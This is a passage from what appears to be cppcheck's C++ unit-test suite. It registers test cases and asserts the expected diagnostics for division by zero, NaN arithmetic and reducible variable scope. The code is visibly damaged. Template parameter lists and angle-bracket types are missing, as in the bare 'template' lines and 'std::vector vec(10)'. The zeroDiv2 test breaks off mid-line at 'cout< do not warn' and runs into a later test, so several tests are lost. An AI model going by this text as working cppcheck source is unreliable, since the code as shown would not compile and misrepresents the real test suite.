TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n 